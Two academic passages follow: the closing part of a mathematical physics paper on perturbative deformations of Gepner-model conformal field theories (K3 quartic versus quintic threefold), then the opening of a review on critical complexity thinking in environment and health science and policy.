for the even fusion rule and $3/2$ for the odd fusion rule.}$$]{} One therefore sees that for the field $u=(1,1,1,1)$, [(\[ek3q2a\])]{} is non-singular: In the case of the least favorable (odd) fusion rules, the most singular term appears to be $-1$, coming from [$$\label{ek3qa}(G1,1,1,1)\otimes(1,G1,1,1).$$]{} However, this term cancels with [$$\label{ek3qb}(1,G1,1,1)\otimes(G1,1,1,1).$$]{} To see this, note that the last two coordinates do not enter the picture. We have an odd (resp. even) pair of pants $P_-$ resp. $P_+$ in the MM with input $1,1$. They add up to a pair of pants in MM$\otimes$MM. On [(\[ek3qa\])]{}, we have pairs of pants $P_i\in\{P_-,P_+\}$, [$$\label{ek3qc}\begin{array}{l}
P(G1\otimes1)\otimes(1\otimes G1)=\\
(P_1\otimes P_2)(G1\otimes1)\otimes(1\otimes G1)=\\
sP_1(G1\otimes 1)\otimes P_2(1\otimes G1)
\end{array}$$]{} where $s$ is the sign of permuting $P_2$ past $G1\otimes 1$. Here we use the fact that $1$ is even. On the other hand, [$$\label{ek3qd}\begin{array}{l}
P(1\otimes G1)\otimes(G1\otimes 1)=\\
(P_1\otimes P_2)(1\otimes G1)\otimes(G1\otimes 1)=\\
-sP_1(1\otimes G1)\otimes P_2(G1\otimes 1)
\end{array}$$]{} (as $G1$ is odd, so there is a $-$ by permuting it with itself). From [(\[ek3q\*\])]{}, the lowest term of $P_i(1\otimes G1)$ and $P_i(G1\otimes 1)$ have opposite signs, so [(\[ek3qc\])]{} and [(\[ek3qd\])]{} cancel out.
The situation is simpler for $u=(2,2,0,0)$, in which case all the fusion rules are even, and the most singular term of $$(G2\otimes 2)(z)(2\otimes G2)$$ appears to have most singular term $z^{-1}$. However, again note that $2$ is even and $G2$ is odd, so [$$\label{ek3q30}(G2\otimes s)(z)(2\otimes G2)=G2(z)2\otimes 2(z)G2,$$]{} while [$$\label{ek3q40}(2\otimes G2)(z)(G2\otimes 2)=-2(z)G(z)\otimes
G2(z)2.$$]{} Renaming $G2$ as $(-2,2,0)$, the bottom descendant of both $G2(z)2$ and $2(z)G2$ is $(0,2,0)$ with some coefficient, so [(\[ek3q30\])]{} and [(\[ek3q40\])]{} cancel out. Thus, the deformations along the first and last fields of [(\[ek3p3\])]{} and [(\[ek3p4\])]{} exponentiate.
The field $u=(2,1,1,0)$ is difficult to analyse, since in this case, [(\[ek3q2a\])]{} has singular channels and the coset-type scenario does not occur. We do not know how to calculate the obstruction directly in this case. It is however possible to present an indirect argument why these deformations exist.
In one precise formulation, the boson-fermion correspondence asserts that a tensor product of two copies of the $1$-dimensional chiral fermion theory considered bosonically (= the level $2$ parafermion) is an orbifold of the lattice theory $\langle 2\rangle$, by the $\Z/2$-group whose generator acts on the lattice by sign.
This has an $N=2$-supersymmetric version. We tensor with two copies of the lattice theory associated with $\langle\sqrt{8}\rangle$, picking out the sector [$$\label{e21101}(\frac{m}{\sqrt{8}},\frac{n}{\sqrt{8}},\frac{p}{4})\;
\text{where $m\equiv n\equiv p \mod 2$.}$$]{} The fermionic currents of the individual coordinates are [$$\label{e21102}\psi_{-1/2,1}=(1)+(-1),\; \psi_{-1/2,2}=i((1)-(-1)),$$]{} so the SUSY generators are [$$\label{e21103}G^{\pm}_{-3/2,1}=(\pm\frac{4}{\sqrt{8}},0)\otimes((1)+(-1)),
\; G^{\pm}_{-3/2,2}=(0,\pm\frac{4}{\sqrt{8}})\otimes i((1)+(-1)),$$]{} $$G=G_{\cdot 1}+G_{\cdot 2}.$$ The $\Z/2$ group acts trivially on the new lattice coordinate.
A note is due on the signs: To each state, we can assign a pair of parities, which will correspond to the parities of the $2$ coordinates in the orbifold. This then also determines the sign of fusion rules.
Now consider our field as a tensor product of $(2,0)$ and $(1,1)$, each in a tensor product of two copies of the minimal models. Considering each of these factors as orbifold of the $N=2$-supersymmetric lattice theory, let us lift to the lattice theory: [$$\label{e21104}(2,0)\mapsto (\frac{2}{\sqrt{8}},0)\otimes (0),$$]{} [$$\label{e21105}(1,1)\mapsto (\frac{1}{\sqrt{8}},\frac{1}{\sqrt{8}})
\otimes ((1/2)+(-1/2)).$$]{} Then the fields [(\[e21104\])]{}, [(\[e21105\])]{} are $\Z/2$-invariant. In the case of [(\[e21104\])]{}, we can proceed in the lift instead of the orbifold, because the fusion rules in the orbifold are abelian anyway. In the case of [(\[e21105\])]{}, the choice amounts to choosing a particular fusion rule. But now the point is that [$$\label{e21106}G^{-}_{-1/2}(2,0)\mapsto (-\frac{2}{\sqrt{8}},0)
\otimes((1)+(-1)),$$]{} [$$\label{e21107}G^{-}_{-1/2}(1,1)\mapsto (-\frac{3}{\sqrt{8}},\frac{1}{\sqrt{8}})
\otimes((1/2)+(-1/2)),$$]{} [$$\label{e21108}G^{-}_{-1/2}(1,2)\mapsto (\frac{1}{\sqrt{8}},-\frac{3}{\sqrt{8}})
\otimes((1/2)+(-1/2)).$$]{} Thus, the left of $G^{-}_{-1/2}u$ is a sum of lattice labels!
Now the critical summands of the operator [$$\label{e21109}G^{-}_{-1/2}(u)(z_k)...G^{-}_{-1/2}(u)(z_1)(u)(0)$$]{} have $k=4m$, and we have $2m$ summands [(\[e21106\])]{}, and $m$ summands [(\[e21107\])]{}, [(\[e21108\])]{}, respectively. All $$\left(\begin{array}{c}4m\\2m,m,m
\end{array}
\right)$$ possibilities occur. It is the bottom (=label) term which we must compute in order to evaluate our obstruction. But by our sign discussion, when we swap a [(\[e21107\])]{} term with a [(\[e21108\])]{} term, the label summands cancel out. Now adding all such possible $$\left(\begin{array}{c}4m\\2m,m-1,m-1,2
\end{array}
\right)$$ pairs, all critical summands of [(\[e21109\])]{} will occur with equal coefficients by symmetry, and hence also the bottom coefficient of [(\[e21102\])]{} is $0$, thus showing the vanishing of our obstruction for this field lift to the lattice theory.
Since the field [(\[e21105\])]{} is invariant under the $\Z/2$-orbifolding (and although [(\[e21104\])]{} isn’t, the same conclusion holds when replacing it with its orbifold image), the entire perturbative deformation can also be orbifolded, yielding the desired deformation.
We thus conclude that for the Gepner model of the $K3$ Fermat quartic, all the critical fields exponentiate to perturbative deformations.
Conclusions and discussion {#scd}
==========================
In this paper, we have investigated perturbative deformations of CFT’s by turning on a marginal $cc$ field, by the method of recursively updating the field along the deformation path. A certain algebraic obstruction arises. We work out some examples, including free field theories, and some $N=(2,2)$ supersymmetric Gepner models. In the $N=(2,2)$ case, in the case of a single $cc$ field, the obstruction we find can be made very explicit, and perhaps surprisingly, does not automatically vanish. By explicit computation, we found that the obstruction does not vanish for a particular critical $cc$ field in the Gepner model of the Fermat quintic $3$-fold (we saw some indication, although not proof, that it may vanish for the field corresponding to adding the symmetric term $xyztu$ to the superpotential, and for the unique critical $ac$ field). By comparison, the obstruction vanishes for the critical $cc$ fields and $ac$ fields Gepner model of the Fermat quartic $K3$-surface. Our calculations are not completely physical in the sense that $cc$ fields are not real: real fields are obtained by adding in each case the complex-conjugate $aa$ field, in which case the calculation is more complicated and is not done here.
Assuming (as seems likely) that the real field case exhibits similar behaviour as we found, why are the $K3$ and $3$-fold cases different, and what does the obstruction in the $3$-fold case indicate? In the $K3$-case, our perturbative analysis conforms with the Aspinwall-Morrison [@am] of the big moduli space of $K3$’s, and corresponding $(2,2)$- (in fact, $(4,4)$-) CFT’s, and also with the findings of Nahm and Wendland [@nw; @wend].
In the $3$-fold case, however, the straightforward perturbative construction of the deformed non-linear $\sigma$-model fails. This corresponds to the discussion of Nemeschansky-Sen [@ns] of the renormalization of the non-linear $\sigma$-model. They expand around the $0$ curvature tensor, but it seems natural to assume that similar phenomena would occur if we could expand around the Fermat quintic vacuum. Then [@ns] find that non-Ricci flat deformations must be added to the Lagrangian at higher orders of the deformation parameter in order to cancel the $\beta$ function. Therefore, if we want to do this perturbatively, fields must be present in the original (unperturbed) model which would correspond to non-Ricci flat deformation. No such fields are present in the Gepner model. (Even if we do not a priori assume that the marginal fields of the Gepner model correspond to Ricci flat deformations, we see that [*different*]{} fields are needed at higher order of the perturbation parameter, so there are not enough fields in the model.) More generally, ignoring for the moment the worldsheet SUSY, the bosonic superpartners are fields which are of weight $1$ classically (as the classical non-linear $\sigma$-model Lagrangian is conformally invariant even in the non-Ricci flat case). A $1$-loop correction arises in the quantum picture [@af], indicating that the corresponding deformation fields must be of generalized weight (cf. [@zhang; @zhang1; @huang; @huang1]). However, such fields are excluded in unitary CFT’s, which is the reason why these deformations must be non-perturbative. One does not see this phenomenon on the level of the corresponding topological models, since these are invariant under varying the metric within the same cohomological class, and hence do not see the correction term [@topsym]. Also, it is worth noting that in the $K3$-case, the $\beta$ function vanishes directly for the Ricci-flat metric by the $N=(4,4)$ supersymmetry ([@agg]), and hence the correction terms of [@ns] are not needed. Accordingly, we have found that the corresponding perturbative deformations exist.
From the point of view of mirror symmetry, mirror-symmetric families of hypersurfaces in toric varieties were proposed by Batyrev [@bat]. In the case of the Fermat quintic, the exact mirror is a singular orbifold and the non-linear $\sigma$-model deformations corresponding to the Batyrev dual family exist perturbatively by our analysis. To obtain mirror candidates for the additional deformations, one uses crepant resolutions of the mirror orbifold (see [@reid] for a survey). In the $K3$-case, this approach seems validated by the fact that the mirror orbifolds can indeed be viewed as a limit of non-singular $K3$-surfaces [@and]. In the $3$-fold case, however, this is not so clear. The moduli spaces of Calabi-Yau $3$-folds are not locally symmetric spaces. The crepant resolution is not unique even in the more restrictive category of algebraic varieties; different resolutions are merely related by flops. It is therefore not clear what the exact mirrors are of those deformations of the Fermat quntic where the deformation does not naturally occur in the Batyrev family, and resolution of singularities is needed. In other words, the McKay correspondence sees only “topological” invariants, and not the finer geometrical information present in the whole non-linear $\sigma$ model.
In [@ruan], Fan, Jarvis and Ruan constructed exactly mathematically the $A$-models corresponding to Landau-Ginzburg orbifolds via Gromov-Witten theory applied to the Witten equation. Using mirror symmetry conjectures, this may be used to construct mathematically candidates of topological gravity-coupled $A$-models as well as $B$-models of Calabi-Yau varieties. Gromov-Witten theory, however, is a rich source of examples where such gravity-coupled topological models exist, while a full conformally invariant $(2,2)$-$\sigma$-model does not. For example, Gromov-Witten theory can produce highly non-trivial topological models for $0$-dimensional orbifolds (cf. [@okpa; @pdjo]).
Why does our analysis not contradict the calculation of Dixon [@dixon] that the central charge does not change for deformation of any $N=2$ CFT along any linear combination of $ac$ and $cc$ fields? Zamolodchikov [@za; @zb] defined an invariant $c$ which is a non-decreasing function in a renormalization group flow in a $2$-dimensional QFT, and is equal to the central charge in a conformal field theory. It may therefore appear that by [@dixon], all infinitesimal deformations along critical $ac$ and $cc$ fields in an $N=2$-CFT exponentiate. However, we saw that when our obstruction occurs, additional counterterms corresponding to those of Nemeschansky-Sen are needed. This corresponds to non-perturbative corrections of the correlation function needed to fix $c$, and the functions [@dixon] cannot be used directly in our case.
[99]{}
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Introduction
============
The magic word 'complexity' has been buzzing around in science, policy and society for quite some time now (for recent examples \[[@B1],[@B2]\]). There seems to be a common feel for a 'new way' of doing things, for overcoming the limits of tradition. The 'new way' though is conceived radically differently by two important schools of complexity thinking. Whereas the Santa Fé school \[[@B3],[@B4]\] merely believes that new scientific strategies in the face of complexity in the end will bring us closer to the modern aim of ever more perfect knowledge and control, the critical complexity school \[[@B5]-[@B7]\] points out that limits of knowledge are inherent to complexity, necessitating reduction and critical reflection on the normative basis for any simplification. The intense debates about complexity seem to be mainly located in the salons and saloons of scientific and social debate, focussing not so much on 'how to actually do it' and with little reflection on practical experiences. We will focus on the art of complexity and apply this to one of the most challenging and complex fields of today: the relationship between environment and health. Grand old men in the field of environment and health, Philippe Grandjean \[[@B8],[@B9]\], David Briggs \[[@B10]\] and David Gee \[[@B11]\], critically reflect on the limits of current environment and health science when judged from a problem solving perspective and warn us of the lack of relevance of current scientific practice with respect to complex reality. From the combined perspective of critical complexity thinking and environment and health practise we want to contribute to the development of alternative routines that may help overcome the limitations of traditional environment and health science. We will especially draw attention to the practical complexities involved, confronting us not only with fundamental questions, but also with fundamental challenges.
Review
======
Critical complexity
-------------------
### Complexity
Most environment and health experts will probably agree that the field of environment and health is a characteristic example of complexity: the interaction of all relevant elements, both pollutants and health parameters as well as a wide range of intervening variables such as lifestyle and genetic factors create a very complex interplay that is hardly possible to conceive in all its complexity, let alone fully measure, describe and comprehend. The study of cocktail effects of different chemical agents in interaction with each other and human health is a good example of the natural scientific complexity of environment and health issues. It is recognized to be of the utmost importance for a more realistic view of the field for some time \[[@B12]\], but cocktail effects only seem to be receiving considerable scientific and policy attention in recent years \[[@B13]\]. Moreover it is recognized more and more that the social complexity of environment and health should also be taken into account if we want to create problem solving horizons: social dynamics, both in science, politics and society as a whole, form an integral part of environment and health issues. The growing awareness in the field of climate change that social scientific expertise is essential in order to better deal with the challenges posed on our society by climate change \[[@B14],[@B15]\] is exemplary in this respect. For a more extensive account on natural scientific and social scientific complexity with respect to environment and health see e.g. Keune et al. \[[@B16]\]. We will now focus on critical complexity.
### Critical complexity
The study of cocktail effects is a good example of a different view on complexity in that environment and health issues are no longer reduced to studying single pollutants and their individual potential health effects. Recent insights show that cocktails of pollutants create dynamics surpassing the level of effect of single pollutants and may result in stronger combined health effects than would be expected when simply adding the single pollutants' effects \[[@B13]\]. This means that current mainstream environment and health knowledge does not suffice as a basis for evidence based policy making. We can no longer conclude that safety is assured when individual levels of pollutants are below specific individual thresholds that are believed to be safe. Nevertheless, even though strategies taking into account a bigger and more complex picture of reality by being less reductionist are new in their focus and method, they may remain traditional in their promise of perfect and undisputable knowledge, and may remain traditional in their scientific analysis. The study of cocktail effects may be an example of this. A critical view on complexity challenges our potential knowledge of complex phenomena, stating that because of the intrinsic properties of complexity we are condemned to limited knowledge of complexity. We will not present a complete overview of properties of complexity \[[@B5],[@B17]\] here, we will only refer to some properties so as to illustrate some of the problems of dealing with complexity. One important property of complexity is emergence \[[@B17]\]: the presence of a great number of (often simple) system components that interact in a manner that cannot be explained by the characteristics of the individual components. Another important feature of complexity is non-linearity \[[@B17]\]: due to partly non-linear input - output functions, complex systems will show unpredictable behaviour. Furthermore, complexity is to be characterized by temporality \[[@B18]\]: complex systems echo their history, their memory of the past in the present and future, be it in a selective and non-linear manner. Finally we mention the problematic issue of reduction \[[@B17]\]: any knowledge we have about a complex system is a reduction of its complexity.
We have to realize that the challenge of gaining knowledge about complexity will be as important as the challenge to act based on limited knowledge. Both challenges are interrelated. Cilliers \[[@B17]\]: "*More than one description of a complex system is possible. Different descriptions will decompose the system in different ways. Different descriptions may also have different degrees of complexity."* At the very heart of a critical complexity perspective lie fundamental questions about the nature and status of meaningful knowledge, for which no unambiguous criteria exist (ibid.). The interpretative nature of knowledge is closely related to normative choices, ethical issues, and political issues. Cilliers \[[@B17]\] pleads for a modest attitude towards complexity and knowledge about complexity: "*knowledge is provisional. We cannot make purely objective and final claims about our complex world. We have to make choices and thus we cannot escape the normative or ethical domain*." Philippe Grandjean \[[@B8]\] seems to agree: *"Risk assessment can never become completely objective"*. He is especially critical on environmental health-science from a problem solving perspective: due to complexities traditional science will not be fit to tackle environmental health-problems. *"Risk assessment must become less reductionist and less focused on obtaining complete information on all aspects of individual hazards. Statistical acceptance of the null hypothesis should never be interpreted as proof of safety.* (*...*) *Given that decisions will involve stakeholders*, *risk perception should receive increased attention as a crucial aspect that is not dependent on a formalized scheme of evaluation"*\[[@B8]\]. According to Grandjean, standard scientific approaches do not fully fit issues, in focus and method (too much focus on simplified models and effects of single hazards one by one) or in interpretation (too strict analytical standards). Grandjean stresses the need for a different scientific approach and application in policy practice of a precautionary principle. David Briggs \[[@B10]\] pleads for more integrated methods of assessment. Key challenges do not only relate to the content of analysis, environment and health-problems, but also to the involvement of relevant actor perspectives. With regard to complexity, Briggs (like Grandjean) criticizes traditional forms of assessment, and proposes to focus on a real world perspective in which the issue of problem framing becomes of main importance. The involvement of relevant actors according to Briggs need not be limited to scientists alone: the involvement of stakeholders is also important, at an early stage. According to Briggs, despite numerous pleas for and ambitious ideals with respect to environment and health, the application of integrated approaches in research practice is still in its infancy.
We may conclude here that traditional environment and health science is too self-confident with respect to potential scientific insight in environment and health problems. Environment and health complexity condemns us to limited and ambiguous knowledge. A more modest attitude would be more realistic from that point of view. From a problem solving perspective more boldness is required. Waiting for Godot (perfect undisputed knowledge) will not help us with respect to the challenges posed to society by environment and health problems. Instead of mainly focussing on what we don't know yet we should focus more on what we already do know in order to facilitate more pragmatic problem solving interpretations of environment and health complexity. The traditional focus on strict statistical analysis of the tiny fragments of reality that we are able to measure is challenged by ethical concern from a societal problem solving perspective and demands critical qualitative reflection on the ambitions and responsibilities of environment and health science. A sense of urgency is legitimate: the paralysis by traditional analysis should be overcome. Simultaneously this sense of urgency should not withhold us from investing in the problem solving quality of our endeavour; quality takes time, fastness from a quality perspective often leads us to standstill \[[@B18]\].
### Open choices, enabling limitations
Making choices is essential from a critical complexity perspective in two important respects. One is that we can never have perfect knowledge about complex issues: we choose our picture of reality but have to realize that each picture has limitations. This picture can have many forms, e.g. problem framing, a model, a research ambition, a policy action or public debate. Second, we cannot objectify which picture of complex reality is best or better than other pictures, thus knowledge will not be unambiguous. Does this mean that we should *not* reduce complexity in order to deal with it realistically and that we have to accept that in principal all knowledge is of equal significance? The answer to both questions is no. According to Cilliers \[[@B17]\]: *"Limited' knowledge is not equivalent to 'any' knowledge. If this were so*, *any modest claim*, *i.e. any claim with some provisionality or qualification attached to it*, *would be relativistic.* (*...*) *Modest claims are not relativistic and*, *therefore*, *weak. They become an invitation to continue the process of generating understanding."* And: *"This does not imply that we can know nothing about complex systems*, *or that the knowledge claims we make about them have to be vague*, *insipid or weak. We can make strong claims*, *but since these claims are limited*, *we have to be modest about them."* In the process of knowledge generation we constantly have to make interpretive choices: *"Knowledge is interpreted data. This leads us to the next big question: what is involved in interpretation*, *and who* (*or what*) *can do it?"*\[[@B19]\].
By choosing our picture or reality, we draw boundaries. We draw ontological boundaries that frame the picture of complex reality: knowledge boundaries. And we draw epistemological boundaries with respect to the generation of knowledge on complexity: disciplinary and transdiciplinary boundaries. Moreover do we 'perform' ethics in our boundary work: we choose what we consider to be relevant, important, just, better, best. Ontologically the boundaries can be bold or modest, flexible or inflexible. Epistemologically the boundaries can be closed and inward looking or open and an invitation to dialogue with others and other forms of knowledge. Boundaries create a difference as they distinguish the inside of the picture of complex reality from the outside and distinguish one picture of complex reality from another picture. A picture of the health effects of one pollutant is different to a picture of the health effects of another pollutant, and is different to a picture of the health effects of a cocktail of pollutants. A natural scientific picture of environment and health will focus on other aspects than a social scientific picture, even when looking at the same environment and health issue. In fact scientists with similar disciplinary background will also potentially create completely different pictures of similar environment and health issues. A scientific picture will probably focus on other characteristics of complexity than a picture of policy makers or stakeholders. This does not necessarily mean that some pictures are better than others, nor does it necessarily mean that we should fuse all pictures into one super picture of complex reality. Different pictures may complement and may enrich each other, but may also criticize and compete with each other. The way we choose to deal with difference is of the utmost importance in the case of complexity \[[@B20]\]. We can consider openness to other, different pictures of complexity and other perspectives on complexity important as a test of one's own picture: is our picture of complex reality robust when we compare it to other pictures, can we learn from other pictures and do we pass the test of being criticized by others about the robustness of our picture?
Theoretically this might imply that the more different viewpoints we take on board and the more critical mass we organize to test our endeavour, the more robust our end product, be it knowledge, be it (e.g. policy) action, will be. This would indeed connect well to the ideal of integrated assessment proposed to us by Briggs \[[@B10]\] and the involvement of stakeholders proposed both by Briggs and Grandjean \[[@B8]\]. In fact we may broaden the basis of support for this openness with reference to other approaches in the familiar fields of risk governance and environmental science and policymaking that promote an 'open arms approach', such as the analytical-deliberative approach \[[@B21]\] and the extended peer review approach \[[@B22]\]. Cilliers \[[@B5]\] proposes this theoretical ideal of openness to and respect for differences as an ethics of complexity. Cilliers \[[@B23]\] nuances the ideal by pointing at the notion of power: *"The argument from complexity claims that a single story*, *or in the words of Lyotard*, *a 'coherent meta-narrative' cannot describe any social system fully...The reason why a certain description is acceptable has to do less with rationality and more with power. We do not have to look hard to find examples of master-narratives which oppressed the 'other' in the system*, *whether they be of a different race*, *religion*, *gender or sexual orientation."* Kunneman \[[@B7]\]: "(*...*) *difficulties become visible when we pose the question why we should prefer his ethics of differences above - for example - an ethics of care*, *or the discourse ethics propagated by Jurgen Habermas* (*...*) *or for that matter*, *the aggressively 'masculine' ethics connected with the Hip-Hop scene*, *or the 'tribal' ethics practiced with great brutality and with great economic success by Italian Mafia-families?*" We therefore do not want to proclaim a critical complexity perspective (whatever it would mean in practice) as just because of the intrinsic qualities of complexity, but merely propose it as a worthwhile companion when we picture complex reality. We propose to take the openness to and respect for differences as an ambition that is worthwhile testing, but consider it not to be immune to one of the most important ingredients of critical complexity: critical reflection. An intriguing example of the need for reflection on openness is the growing influence of industry experts in important policy advisory expert panels over the last decades \[[@B24]-[@B26]\], of which the International Agency for Research on Cancer (IARC) is an important environment and health example. The IARC is part of the World Health Organisation and its mission is to coordinate and conduct research on the causes of human cancer, the mechanisms of carcinogenesis, and to develop scientific strategies for cancer control. Huff \[[@B24]\], a former Chief of the Unit responsible for the IARC Monographs, wrote about the unprecedented and growing industry influence on the Monographs. In the case of chemical exposures, this resulted in a lower risk evaluation for chemicals. And this leads us to the conclusion that openness is an ethical issue in itself.
The critical view on complexity is very important in better understanding and discussing the challenges posed by complexity. The critique unmasks weak spots in our understanding of and dealing with complexity. Moreover current critical complexity thinking may inspire to create alternatives routines of understanding of and dealing with complexity. We have to open up and narrow down simultaneously: we have to be more realistic in our reduction; we have to outsmart our limitations. Not by more of the same, but by differentiation. We should not though remain too much on an ideal theoretical level: we need to take into account practicalities, we have to be pragmatic. We have to find a clever balance between respect of complex reality and practical attainability: we have to be both informative and performative. As none of these aspects, choices and strategies can be objectified because of limited knowledge and ambiguity, we cannot refrain from ethics, otherwise we will be either lost in blindness or limitlessness and in fact get nowhere. We have to make conscious choices by asking ourselves what is important, what is relevant, what is the meaning of what we do.
Critical complexification
-------------------------
*Critical complexification* means opening up boundaries that limit our view on complexity, connecting relevant contexts that will enrich our view and will enrich relevant contexts. Simultaneously, *critical complexification* has to set its own boundaries; otherwise nothing will happen, except staring at outer space forever with the friends we gather. Such boundaries will be different in character though than turning ones back to others, to whom and what are excluded. The boundaries are always open for critique, for discussion, for reflexion. *Critical complexification* also means challenge: we challenge complex reality, we challenge ourselves, we challenge others. We also challenge 'our' or 'their' current practice of dealing with complexity. We challenge the actors, we challenge the contexts of those actors, we challenge their knowledge, we challenge their practice. Challenge means critique in a constructive manner. It not only means to ask fundamental and radical questions about what others do and know and by what motives, it also means to invite, cooperate, enable, enrich in order to better deal with complexity. And last but not least, through *critical complexification* we face the challenges practice will have in store for us.
We will use the term *critical complexification* to describe the process of critically dealing with complexity in practice. *Complexification* draws our attention to our selection of relevant of elements of complexity that we want to take on board when picturing complexity in order to do justice both to complex reality and to the ambition(s) we choose with respect to dealing with complex reality. The term *complexification* was used before by other authors in a more or less similar fashion \[[@B27],[@B28]\]. Next to this we mean it also to be a word of action, drawing attention to the practical aspects of the art of complexity: how do we *complexify*? *Critical* draws our attention to critical reflection on our ambitions and actions and to challenging the quality of our activities and outputs. On the one hand this draws our attention to the need to reflect on our choices from an ethical perspective: what is the justification for our ambitions and our actions? On the other hand this draws our attention to the issue of critical mass: what is the basis for challenging the quality of our ambitions and actions, or in other words, which assessment criteria are relevant and who should be involved in the assessment?
In discussing practical elements of *critical complexification* we will refer to two practical contexts in which difference (and diversity) was considered relevant to dealing with the complexity of environment and health and was approached differently than in mainstream environment and health science and policy making. We invite those readers who want to learn more, to read the references, and only introduce the cases very briefly.
### Case analytical deliberative approach (AD)
Instigated by policy representatives together with medical and environmental scientific experts and policymakers, in Flanders (Belgium) an *action-plan* was developed for setting policy priorities with regard to human bio-monitoring results: from research results to policy action \[[@B29]\]. The *action-plan* was inspired by the analytical deliberative approach \[[@B21]\], an approach that combines scientific complexity and social complexity by linking expert debate with social debate. In the practice of the *action-plan* it concerned close interdisciplinary cooperation: the general approach had to be negotiated between totally different disciplinary backgrounds and natural and social scientific data were combined. It also concerned close cooperation with policy representatives: the research had to be policy relevant, which puts totally different demands on research than just scientific ones. Furthermore, both experts and stakeholders were involved. The basic problem that needed to be solved was choosing between policy options that are rather different in nature, e.g. policy on asthma incidence and policy on pollution from pesticides. The choice is based on different assessment criteria: seriousness of health risks, policy aspects and social aspects. The procedure was organised as follows: first desk research provides the different options with background information concerning the different assessment criteria. The environmental and health information relevant to assess the health risk is being gathered by natural scientists. The social scientists are responsible for policy-related and social aspects. Second, the desk research information is assessed in an expert consultation. Experts with regard to environment and health assess the health risk criterion, policy experts the policy aspects as do social experts the social aspects. These assessments result in both *quantitative information* (priority rankings of options on different criteria) and *qualitative information* (arguments, difference of opinion, uncertainties). The outcomes of the expert consultation are processed in a multi-criteria analysis \[[@B30],[@B31]\] as well as in an account of (other) qualifications. Third the results of both desk research and expert consultation are discussed by a stakeholder jury that gives advice on the basis of all information: different from experts a societal view deals with the political question of deciding what's important considering all aspects. Finally the procedure is aimed at a well informed and substantiated decision-making by the policymakers. In the following we will call this the AD-case.
### Case expert elicitation (EE)
The EU HENVINET project had the ambition to synthesize scientific information available on a number of topics of high relevance to policy makers in environment and health \[[@B32]\]: brominated flame retardants, phthalates, the impacts of climate change on asthma and other respiratory disorders, the influence of environment health stressors on cancer induction, the pesticide CPF and nano particles. At first it was the ambition to focus mainly on the state of the art scientific knowledge, with a special interest in gaps of knowledge. By means of expert elicitation the gaps of knowledge were highlighted by using confidence levels for assessment of current scientific knowledge. During the work in progress a complementary focus developed through interdisciplinary reflections. By extending the horizon of the endeavour from only science to the problem solving policy perspective, the ambition was complemented by interpreting the synthesized available knowledge from a policy perspective, addressing the question which kind of policy action experts consider to be justifiable based on the identified state of scientific knowledge. As such the expert elicitation approach became helpful in overcoming the policy action impasse caused by the mere scientific knowledge oriented strategy for dealing with limited knowledge on complex issues. It did so by constructively discussing the weight of existing knowledge for potential policy action, thus stressing more the societal importance of the issues under study and considering to take action, rather than merely betting on the scientific quest for ever more knowledge. Both parts of the expert elicitation, the assessment of state of the art scientific knowledge by means of confidence levels and the problem solving interpretation by means of a qualitative questionnaire and a workshop discussion, were quite challenging for all experts involved, as it did not relate easily to mainstream environment and health scientific practice. In the following we will call this the EE-case.
Practice
--------
### Embrace and structure
Important choices that have to be made when dealing with complexity concern relevant elements of complexity to take on board: which actors and factors are considered relevant? Who and what do we embrace and who are we? Part of the answer is in complex reality: reality poses specific challenges. Part of the answer is in our ambition with respect to reality: what do we hope to achieve? Creating knowledge as such is another challenge than creating policy relevant knowledge and is another ambition than developing problem solving actions. Focussing on individual pollutants poses another challenge than focussing on cocktails. And part of the answer is in the discussion amongst those who are in the driving seat: the cocktail of actors involved will create specific dynamics affecting the process. In the AD-case the team consisted of natural and social scientists and policy representatives. Amongst the actors consulted in the process were other natural and social scientists and policy representatives, and policy experts and stakeholders. Next to environment and health factors, policy and social factors were also taken into account. The ambition of the transdisciplinary team in the AD-case thus was clearly one of open arms, embracing a broad diversity of actors and factors. Moreover the ambition stretched the horizon of scientific research to concrete policy action plans. In the EE-case the ambition of the interdisciplinary team seemed largely limited to science: scientific experts assessing state of the art scientific insights. Nevertheless, initially the knowledge produced in the process was intended to be used in a policy context, rather than in a research context. The horizon in this case thus was also broadened from science to policy. Moreover difference of opinion amongst experts was considered potentially valuable information for policy makers, thus opening the visor to diversity of viewpoints.
Embracing relevant actors and factors cannot do without a procedural and structural way of working: structuring interaction and content and as such complexity. Without structure one runs the risk of endless research and discussion. In the AD-case a practice cycle was developed in which the process was streamlined from organisation of the procedure to the final choice of policy priorities: which actors were supposed to play which role, in which phase and based on which factors. Moreover as an analytical red thread a multi criteria analysis was used by which the diversity of (to a large extent incommensurable) information and opinions could be both embraced and structured so as to fit next steps in the process. In the EE-case the use of confidence levels by means of an online questionnaire initially formed the structuring backbone of the approach.
### Historical identities and the art of negotiation
An openness to and respect for differences and diversity by embracing critical mass in the process of *critical complexification* has to take into account that actors involved have different identities. Identity is to a large extent determined by the social context, be it professional, be it private. In both the AD-case and the EE-case the professional background played important roles. As Ulanowicz \[[@B33]\] points out that systems differ according to their history, so do professional contexts differ in professional tradition. Obvious examples are differences between quantitative and qualitative scientific approaches, between a focus on knowledge and a focus on action, between natural sciences and social sciences, between science and policy. The teams cooperating in both cases had to undertake a lot of negotiation during the process, the importance of which is often underestimated both in terms of impact on the process and its output, but also in practical complexity. The richness of dialogue can be very beneficial to a broader and more integrated view on complexity, but it is not always easy. The mindsets of actors from specific contexts remain largely influenced by and focussed on their home-base contexts, and only to a lesser extent to the new joint context. This is beneficial from the point of view of specific expertise, and this is needed. But it can become problematic in the perception of other expert contexts: one is full of one's own expertise and related complexity, and has only limited sight of the complexity of other expertise, and in fact often underestimates this. This to a large extent cannot be avoided, as experts are often overloaded with complexity from their own context and are constantly attracted by context specific interests, rewards, challenges. This also means that the openness towards other forms of expertise is limited, as they only have limited attention for it and only limited interest. The transferability of expertise from one context to the other is possible of course, but will be more difficult once experts' contexts differ more. This poses the question whether we should invest in transfer of context specific expert knowledge to other expert contexts, or that we should focus on cooperation in well balanced inter- and transdisciplinary teams. From the experience of the social scientific contribution in both cases it can be concluded that teamwork currently is absolutely necessary. Even after years of intense cooperation, natural scientific colleagues often still do not have clear sight of the complexity social science deals with. This would make a plea for constant and direct involvement of social scientists and in fact to the notion of the old saying: 'Let the cobbler stick to his last'. This also holds true for transdisciplinary cooperation between scientists and policy makers.
